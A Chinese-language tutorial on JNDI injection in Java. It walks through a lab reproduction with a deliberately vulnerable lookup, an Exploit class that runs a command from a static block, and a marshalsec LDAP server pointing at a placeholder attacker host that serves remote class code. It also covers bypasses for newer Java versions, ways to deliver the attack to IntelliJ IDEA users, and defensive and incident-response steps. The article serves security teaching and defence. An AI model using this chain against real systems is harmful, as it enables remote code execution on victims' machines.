1. 项目概述:从一次“意外”的远程代码执行说起
几年前,我在做内部安全审计时,遇到一个非常典型的场景:一个基于Java开发的Web管理后台,在某个查询功能处,用户输入的内容被直接拼接到了JNDI查询的URL中。当时出于好奇,我构造了一个形如
ldap://attacker-server:1389/Exploit
的地址传了进去。原本只是想测试一下是否存在未授权访问,结果几分钟后,监控告警显示,服务器上被下载并执行了一个陌生的脚本,完成了一次完整的远程命令执行。这个“意外”让我深刻意识到,JNDI注入远不是教科书里一个简单的概念,它是一条直通系统核心的隐秘通道。尤其是在集成开发环境如IntelliJ IDEA的历史版本中,某些组件对JNDI查询的处理不当,曾直接导致了RCE漏洞,攻击者甚至无需与业务代码交互,仅通过IDE本身即可攻陷开发者的工作站。
今天,我们就来彻底拆解JNDI注入。我不会只给你抛出一堆
InitialContext.lookup(uri)
的代码片段和“请升级Log4j2”的建议。我们要做的是,
像攻击者一样思考,像防御者一样构建
。我会带你回到那个漏洞现场,用IDEA复现一个经典的JNDI注入导致的RCE,在动手的过程中,把LDAP协议交互、字节码动态加载、利用链构造这些黑盒里的东西,掰开揉碎了讲清楚。无论你是想深入理解漏洞原理的安全研究员,还是负责编写安全代码的开发者,或是想提升自己环境安全性的运维,这篇文章都能给你带来可直接复用的“硬核”知识。你会发现,理解了攻击的每一个齿轮如何转动,你构建的防御工事才会真正固若金汤。
2. JNDI注入的核心原理:为什么一行查询代码能变成攻击入口?
要理解JNDI注入,必须先搞清楚JNDI是什么,以及它正常的工作流程。JNDI,全称Java Naming and Directory Interface,是Java提供的一个与具体命名或目录服务无关的通用API。你可以把它想象成一个“服务查询中介”或“资源定位器”。应用程序不需要关心具体的服务是LDAP、RMI还是DNS,它只需要告诉JNDI:“我要找一个叫
java:comp/env/jdbc/MyDB
的数据源”,JNDI就会根据配置,去对应的服务(如LDAP服务器)上查找这个名称绑定的实际对象(如一个
DataSource
的引用),并返回给应用程序。
2.1 正常的JNDI工作流程
一个典型的、安全的JNDI使用流程是这样的:
// 1. 初始化上下文环境,这里通常指向一个内部、可信的LDAP服务器
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LldapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://internal-ldap.corp.com:389");
Context ctx = new InitialContext(env);
// 2. 查询一个可信名称绑定的对象
Object obj = ctx.lookup("cn=MyAppConfig,ou=Apps,dc=corp,dc=com");
在这个流程中,
PROVIDER_URL
是硬编码或来自可信配置文件的,指向企业内网受控的LDAP服务器。
lookup
的参数也是程序预期的、相对固定的资源名。整个流程是封闭、可控的。
2.2 漏洞的诞生:当用户输入控制了“找谁”和“去哪找”
JNDI注入漏洞的核心,就在于
用户可控的输入,未经充分校验,直接传递给了
Context.lookup()
方法,或者用于构造
Context.PROVIDER_URL
。
这通常发生在两种情况下:
-
直接注入Lookup参数
:
ctx.lookup(userInput)。用户输入直接作为要查找的名称。 -
注入Provider URL
:
env.put(Context.PROVIDER_URL, userInput)。用户输入控制了JNDI要去哪里寻找服务。
想象一下,如果上面的代码中,
ctx.lookup(request.getParameter(“serviceName”))
,而攻击者传入的参数不是
cn=MyAppConfig
,而是
ldap://evil.com:1389/Exploit
,会发生什么?
JNDI的实现(特别是旧版本的Java)有一个“特性”:当
lookup
的参数是一个完整的URL时(如
ldap://...
、
rmi://...
),它会
自动使用这个URL作为查询地址,而忽略初始上下文中设置的
PROVIDER_URL
。这就好比你把收货地址告诉快递员,但他看到包裹上贴了一个新地址条,就直接改道送去了新地址。
2.3 攻击链的构成:从地址指向到代码执行
仅仅让JNDI去访问一个恶意服务器还不够,关键是如何让服务器返回一些能导致代码执行的东西。这里就涉及到JNDI的另一个“特性”: 支持从远程目录服务动态加载并实例化对象 。
完整的攻击链如下:
-
触发查询
:攻击者构造恶意输入
ldap://attacker-ip:1389/o=Exploit,并提交给存在漏洞的应用。 -
恶意LDAP服务器响应
:受害应用(或IDEA)的JNDI客户端会向
attacker-ip:1389发起LDAP查询。 -
返回恶意引用
:攻击者控制的LDAP服务器并不返回一个普通的目录条目,而是返回一个特殊的
JAVA_OBJECT或REFERENCE类型的条目。这个引用中包含了另一个URL,指向攻击者HTTP服务器上的一个Java类文件(如http://attacker-ip:8000/Exploit.class)。 -
动态加载类
:受害应用的JNDI客户端收到这个引用后,会根据引用中的地址,去HTTP服务器下载指定的
.class文件。 -
实例化与执行
:JNDI客户端使用当前线程的类加载器加载这个远程类,并实例化它。如果这个类的静态代码块或构造函数中包含恶意代码(如
Runtime.getRuntime().exec(“calc”)),那么这些代码将在受害应用进程的上下文中立即执行。
关键点 :在Java中,类的静态代码块会在类被加载后、首次使用前自动执行。攻击者正是利用这一点,将恶意逻辑写在静态代码块里,确保类一旦被JNDI加载,攻击代码就自动运行。
这个攻击链之所以危险,是因为它 将“数据”输入(一个URL字符串)转化为了“代码”执行 ,完美绕过了基于数据过滤的传统防御手段。
3. 利用IDEA历史漏洞进行复现环境搭建
理论讲得再多,不如亲手实践一遍。我们选择复现一个与IntelliJ IDEA相关的历史JNDI注入漏洞(例如CVE-2021-25770或其类似原理的漏洞)。需要强调的是, 这里使用的IDEA版本是存在漏洞的旧版本,仅用于安全研究、学习与防御验证。绝对不允许在生产环境或他人的计算机上尝试。
3.1 环境与工具准备
你需要准备以下环境,建议在虚拟机或隔离的测试网络中进行:
-
靶机环境(Victim) :
- 操作系统 :Windows 10/11 或 macOS/Linux均可。
-
Java版本
:
这是复现成功的关键!必须使用 Java 8u121、Java 7u131、Java 6u141 之前的版本
。因为这些版本之后,Oracle官方默认禁用了JNDI远程类加载(通过设置
com.sun.jndi.ldap.object.trustURLCodebase和com.sun.jndi.rmi.object.trustURLCodebase为false)。为了复现,我们通常使用 Java 8u113 。 - IntelliJ IDEA版本 :选择一个已知受影响的旧版本社区版,例如 2020.1.x 版本。你可以在JetBrains官网的存档中找到历史版本。
- 网络 :需要能与攻击机互通。
-
攻击机环境(Attacker) :
- 操作系统 :Kali Linux 或任何安装有Python/Java的Linux系统,使用虚拟机更方便。
-
工具
:
- marshalsec :一个非常流行的用于快速启动恶意RMI/LDAP服务器的工具。我们将用它来搭建恶意的LDAP引用服务器。
-
一个简单的HTTP服务器
:用于托管恶意Java类文件。可以用Python快速搭建:
python3 -m http.server 8000。 - 文本编辑器与Java编译器 :用于编写和编译攻击载荷(Exploit.class)。
3.2 漏洞触发点模拟与攻击载荷制作
由于直接寻找和编译存在漏洞的特定IDEA插件或组件较为复杂,为了清晰演示原理,我们采用一个“模拟”方式:在IDEA中创建一个简单的Java控制台应用,其中包含一段存在JNDI注入漏洞的代码。这能让我们在受控环境下,完整观察整个攻击链。
步骤一:编写存在漏洞的“靶标”程序
在IDEA中新建一个Java项目,确保项目SDK设置为Java 8u113。创建一个类
VulnerableApp
:
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class VulnerableApp {
public static void main(String[] args) throws Exception {
// 模拟从外部(如配置文件、用户输入)获取JNDI URL,这里直接写死恶意URL用于触发
// 在实际漏洞中,这个url可能是通过某个API参数传入的
String maliciousUri = "ldap://YOUR_ATTACKER_IP:1389/Exploit";
System.out.println("[*] 尝试进行JNDI查询: " + maliciousUri);
// 存在漏洞的代码:直接使用用户可控的URI进行lookup
Hashtable<String, String> env = new Hashtable<>();
// 即使设置了初始工厂,如果lookup参数是完整LDAP URL,也会被覆盖
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LldapCtxFactory");
// 这里PROVIDER_URL设置成什么都无所谓,因为恶意URI会覆盖它
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
Context ctx = new InitialContext(env);
// !!!漏洞点就在这里 !!!
Object obj = ctx.lookup(maliciousUri);
System.out.println("[+] Lookup 返回: " + obj);
}
}
将
YOUR_ATTACKER_IP
替换为你攻击机的IP地址。
步骤二:制作恶意Java类(Exploit.class)
在攻击机上,创建一个
Exploit.java
文件:
public class Exploit {
static {
System.out.println("[!!!] Exploit静态代码块执行!");
try {
// 根据不同操作系统执行命令
String os = System.getProperty("os.name").toLowerCase();
String cmd;
if (os.contains("win")) {
cmd = "calc.exe"; // Windows弹出计算器
} else if (os.contains("mac")) {
cmd = "open /System/Applications/Calculator.app";
} else {
cmd = "xcalc"; // Linux,需安装xcalc
}
Runtime.getRuntime().exec(cmd);
System.out.println("[!!!] 命令已执行: " + cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
// 也可以有一个无参构造函数,但静态代码块更可靠
public Exploit() {
System.out.println("[!!!] Exploit构造函数被调用。");
}
}
使用攻击机上的Java编译器进行编译, 编译时使用的Java版本最好与靶机一致或更低 :
javac Exploit.java
编译后会生成
Exploit.class
文件。
步骤三:启动恶意HTTP服务器
在
Exploit.class
所在目录,启动一个简单的HTTP服务器,端口设为8000:
python3 -m http.server 8000
保持这个终端运行。
4. 启动恶意LDAP服务器与完整攻击复现
现在,我们有了漏洞程序、恶意类文件和HTTP服务器。最后一步,也是最关键的一步,就是启动一个恶意的LDAP服务器,它负责将JNDI客户端的查询,指向我们托管恶意类的HTTP服务器。
4.1 使用marshalsec搭建LDAP引用服务器
在攻击机上,下载并编译
marshalsec
:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
编译成功后,在
target
目录下会生成
marshalsec-0.0.3-SNAPSHOT-all.jar
。
启动marshalsec,开启一个LDAP服务,监听1389端口,并指定当有客户端查询特定条目时,返回指向我们HTTP服务器上
Exploit.class
的引用:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_ATTACKER_IP:8000/#Exploit" 1389
请将
YOUR_ATTACKER_IP
替换为攻击机的IP。这条命令的意思是:启动一个LDAP服务器,对所有查询请求,都返回一个指向
http://YOUR_ATTACKER_IP:8000/Exploit.class
的
javaReference
。
4.2 触发攻击与结果观察
现在,所有组件都已就绪:
- 攻击机 :运行着恶意LDAP服务器(1389端口)和HTTP文件服务器(8000端口)。
-
靶机
:IDEA中运行着
VulnerableApp。
回到靶机的IDEA,运行
VulnerableApp
的
main
方法。请仔细观察控制台输出和系统反应。
预期结果与过程分析:
-
程序输出
:
[*] 尝试进行JNDI查询: ldap://YOUR_ATTACKER_IP:1389/Exploit -
网络连接
:程序会向
YOUR_ATTACKER_IP:1389发起LDAP连接。你可以在攻击机运行marshalsec的终端看到连接日志。 -
LDAP响应
:marshalsec收到查询后,会立即返回一个包含
javaReference的LDAP响应,其中指定了Codebase为http://YOUR_ATTACKER_IP:8000/Exploit.class。 -
类加载
:受害程序(运行在旧版本JRE上)的JNDI客户端收到这个引用,由于
trustURLCodebase默认为true,它会自动向http://YOUR_ATTACKER_IP:8000发起HTTP GET请求,下载Exploit.class文件。你可以在运行Python HTTP服务器的终端看到访问日志。 -
代码执行
:
Exploit.class被加载到JVM中,其静态代码块static {}立即执行。根据你的操作系统,系统计算器(calc.exe或Calculator.app)应该会被弹出。同时,IDEA的控制台会打印出[!!!] Exploit静态代码块执行!和[!!!] 命令已执行: ...的信息。
至此,一次完整的JNDI注入导致RCE的漏洞复现就成功了。你通过一个可控的URI字符串,最终在目标系统上执行了任意命令。
重要注意事项与避坑指南 :
- Java版本是成败关键 :如果使用Java 8u121及以上版本,默认设置会阻止从远程Codebase加载类,攻击会失败,你只会看到
javax.naming.CommunicationException或类似错误,但不会执行命令。这就是为什么修复方案总是强调升级JRE。- 防火墙与网络 :确保靶机(运行IDEA的机器)能访问攻击机的1389(LDAP)和8000(HTTP)端口。在虚拟机环境中,通常需要将网络设置为桥接或Host-Only,并关闭防火墙。
- 类路径问题 :确保编译
Exploit.java的Java版本不高于靶机JRE版本,避免因类版本不兼容导致加载失败。- marshalsec的引用格式 :
http://IP:PORT/#ClassName这个格式中,#后面的ClassName必须与编译出的.class文件名(不含扩展名)完全一致,且该类必须是public的。
5. 漏洞的深层利用与在IDEA中的真实场景
我们刚才复现的是一个高度简化的、自包含的PoC。在实际的漏洞利用中,尤其是在像IDEA这样复杂的IDE环境中,攻击链会更加隐蔽和精巧。
5.1 绕过更高版本Java的限制
从Java 8u121/7u131/6u141开始,Oracle设置了系统属性
com.sun.jndi.ldap.object.trustURLCodebase=false
来默认禁止远程类加载。但这并非绝对安全。攻击者发现了多种绕过方式:
-
利用本地ClassPath中的类
:如果目标应用的ClassPath中存在某些具有危险方法的类(如
org.apache.naming.factory.BeanFactory配合javax.el.ELProcessor),攻击者可以通过LDAP引用指向这些本地类,并传递构造好的参数来触发恶意行为。这不需要远程加载类。 - 利用其他可信任的Codebase :某些应用服务器或框架可能会配置自己的、可信的Codebase地址。如果攻击者能控制这个地址,或者发现其中存在可利用的类,也能构成攻击。
-
RMI利用
:除了LDAP,RMI也是JNDI常用的服务协议。在某些版本的Java中,RMI的类加载限制可能与LDAP不同,或者存在其他反序列化利用链(如利用
UnicastRef等)。
5.2 IDEA中的真实漏洞场景分析
历史上影响IDEA的JNDI相关漏洞(如某些第三方插件漏洞、早期内置组件问题),其触发点可能并非如此直白。常见的入口有:
- 插件更新检查 :某些插件在检查更新时,可能会从配置的URL获取XML配置文件。如果这个URL可控,且插件使用JNDI解析其中的某个资源地址,就可能构成注入。
-
项目配置解析
:处理来自版本控制系统(如Git)的项目配置文件(
.idea目录下的某些文件),如果文件内容被直接用于JNDI查询。 - 外部工具集成 :与某些外部服务(如数据库连接池配置)集成时,如果连接字符串来自不可信的源。
攻击者可能通过以下方式投递恶意载荷:
- 诱骗开发者克隆一个特制的Git仓库,其中包含恶意的项目配置文件。
- 在开发者访问的某个内部或外部网站上,通过某种方式触发IDEA的某个网络请求功能(如SVN、RSS阅读插件)。
-
利用一个存在XSS的网页,结合IDEA的某些URI处理协议(如
idea://)来发起请求。
防御视角
:作为开发者或安全人员,在审计类似IDEA这样的复杂客户端软件时,需要关注所有从外部(网络、文件)获取数据并最终传递给
InitialContext.lookup()
、
NamingManager.getObjectInstance()
或用于构造
Context.PROVIDER_URL
的代码路径。重点检查数据流是否清晰,输入校验是否严格(例如,是否只允许特定的协议和主机名)。
6. 防御策略与安全编码实践
理解了攻击原理,防御就有了明确的方向。防御JNDI注入是一个多层次的工作。
6.1 代码层:输入验证与安全编码
这是最根本的防御。
-
白名单校验
:如果JNDI查询的名称或URL应该是固定的或符合特定模式,使用白名单进行校验。例如,只允许查询
java:comp/env/开头的本地资源。String userInput = request.getParameter(“lookupName”); if (!userInput.startsWith(“java:comp/env/”)) { throw new SecurityException(“Invalid JNDI name”); } -
严格解析与过滤
:如果必须接受外部输入,应对其进行严格解析。使用
URI类解析URL,并检查协议(scheme)、主机(host)、端口(port)是否在允许范围内。禁止使用ldap://、rmi://、iiop://、dns://等远程协议。try { URI uri = new URI(userInput); if (!“ldap”.equalsIgnoreCase(uri.getScheme()) || !isInternalHost(uri.getHost())) { throw new SecurityException(“Disallowed JNDI URI”); } } catch (URISyntaxException e) { throw new IllegalArgumentException(“Invalid URI”, e); } - 使用安全的替代方案 :对于简单的配置查找,考虑使用Properties文件、环境变量或Spring Cloud Config等安全的配置中心,完全避免使用JNDI来加载不可信的远程资源。
6.2 环境层:JRE安全配置与升级
- 升级Java版本 :这是最有效、最直接的方案。将生产环境的JRE升级到最新版本或至少是已修复的长期支持版本。高版本Java默认禁用了远程类加载。
-
设置安全属性
:如果因兼容性问题无法升级,必须在JVM启动参数中显式设置以下属性,这是最后一道防线:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false - 限制网络出站 :在服务器或容器的网络策略上,严格限制应用程序的非必要出站连接。如果业务不需要访问外部的LDAP/RMI服务器,就禁止所有到外部未知IP的389、1389、1099等端口的连接。
6.3 架构层:最小权限与纵深防御
-
运行在最小权限下
:运行Java应用的账户(如
www-data,nobody)应具有尽可能少的系统权限。这样即使被RCE,攻击者能执行的命令也受到限制(例如,无法安装软件、修改关键系统文件)。 - 容器化与隔离 :使用Docker等容器技术运行应用,利用容器的命名空间、cgroup等机制进行隔离,限制漏洞的影响范围。
- 安全产品防护 :部署WAF、RASP等运行时应用安全防护产品。它们可以基于行为特征拦截异常的JNDI查询请求或恶意的类加载行为。
7. 排查技巧与应急响应实录
如果在线上环境怀疑发生了或可能存在JNDI注入攻击,应该如何排查和响应?以下是我在实际工作中总结的步骤。
7.1 入侵迹象排查
-
日志分析
:立即检查应用日志、JVM GC日志和系统日志。搜索异常的关键字:
-
JNDI相关:
InitialContext,lookup,LDAP,RMI,com.sun.jndi。 -
异常错误:
ClassNotFoundException,NamingException,CommunicationException(可能指向一个不存在的恶意服务器)。 -
可疑网络连接:查看应用进程的网络连接(
netstat -antp),是否有连接到非常见IP的389、1389、1099等端口。
-
JNDI相关:
-
进程与网络监控
:使用
ps aux,top查看是否有未知或高资源占用的Java子进程。使用tcpdump或wireshark抓取应用服务器的网络流量,分析是否有异常的LDAP或HTTP(用于下载class)请求。 -
文件系统检查
:检查临时目录(
/tmp,/var/tmp,C:\Windows\Temp)是否有近期创建的、可疑的.class、.jar或脚本文件。检查应用的工作目录和用户主目录。 -
JVM诊断
:如果应用还在运行,可以尝试使用
jstack打印线程栈,查看是否有正在执行可疑任务的线程(如Runtime.exec相关的调用栈)。
7.2 应急响应步骤
一旦确认或高度怀疑存在攻击,立即按以下步骤操作:
- 隔离 :立即将受影响的主机从网络中断开,防止横向移动或继续对外通信。
-
止血
:重启应用服务(如果可行),并在启动参数中立即添加上文提到的安全属性(
-Dcom.sun.jndi...=false)。 - 取证 :对内存、磁盘进行镜像备份,保留所有日志,用于后续深入分析。 不要直接在被入侵的机器上进行删除、修复等操作,以免破坏证据。
- 根因分析 :分析代码,定位到具体的JNDI注入点。是哪个接口?哪个参数?数据流是怎么走的?修复漏洞。
- 全面扫描与修复 :升级所有相关组件的版本(JRE、应用服务器、依赖库如Log4j2、Fastjson等)。在全网范围扫描是否存在同类漏洞。
- 恢复与验证 :在修复漏洞并完成安全加固后,将备份的干净数据恢复到新的、已加固的环境中,并严格验证业务功能和安全状态。
7.3 针对IDEA开发环境的特殊防护
对于个人开发环境,防护同样重要:
- 保持IDEA与插件更新 :及时更新到官方最新版本,已知漏洞会被修复。
- 谨慎安装插件 :只从JetBrains官方插件市场或可信来源安装插件。审查插件的权限和评价。
-
谨慎处理外部项目
:对于来历不明的Git仓库、Zip项目包,先用文本编辑器检查
.idea、pom.xml、build.gradle、*.iml等配置文件,看是否有可疑的URL或配置项。 -
使用安全的JRE
:为IDEA本身配置一个已修复漏洞的JRE(在
Help -> Find Action -> Switch Boot JDK或idea64.exe.vmoptions中配置)。 - 网络限制 :在防火墙中限制开发机不必要的出站连接,特别是到陌生IP的LDAP/RMI端口。
JNDI注入的攻防是一场关于“信任边界”的博弈。攻击者想尽办法将不可信的输入送入可信的代码执行上下文,而防御者则需要清晰地定义和守卫这条边界。通过这次从原理到复现的深度剖析,希望你能不仅记住“升级Java”和“禁用trustURLCodebase”这两条结论,更能理解其背后的逻辑,并在设计和代码审查中,对任何将外部数据与资源查找、对象加载、反射调用等敏感操作结合的地方,保持最高的警惕。真正的安全,源于对细节的深刻理解和对风险的系统性思考。
1445

被折叠的 条评论
为什么被折叠?



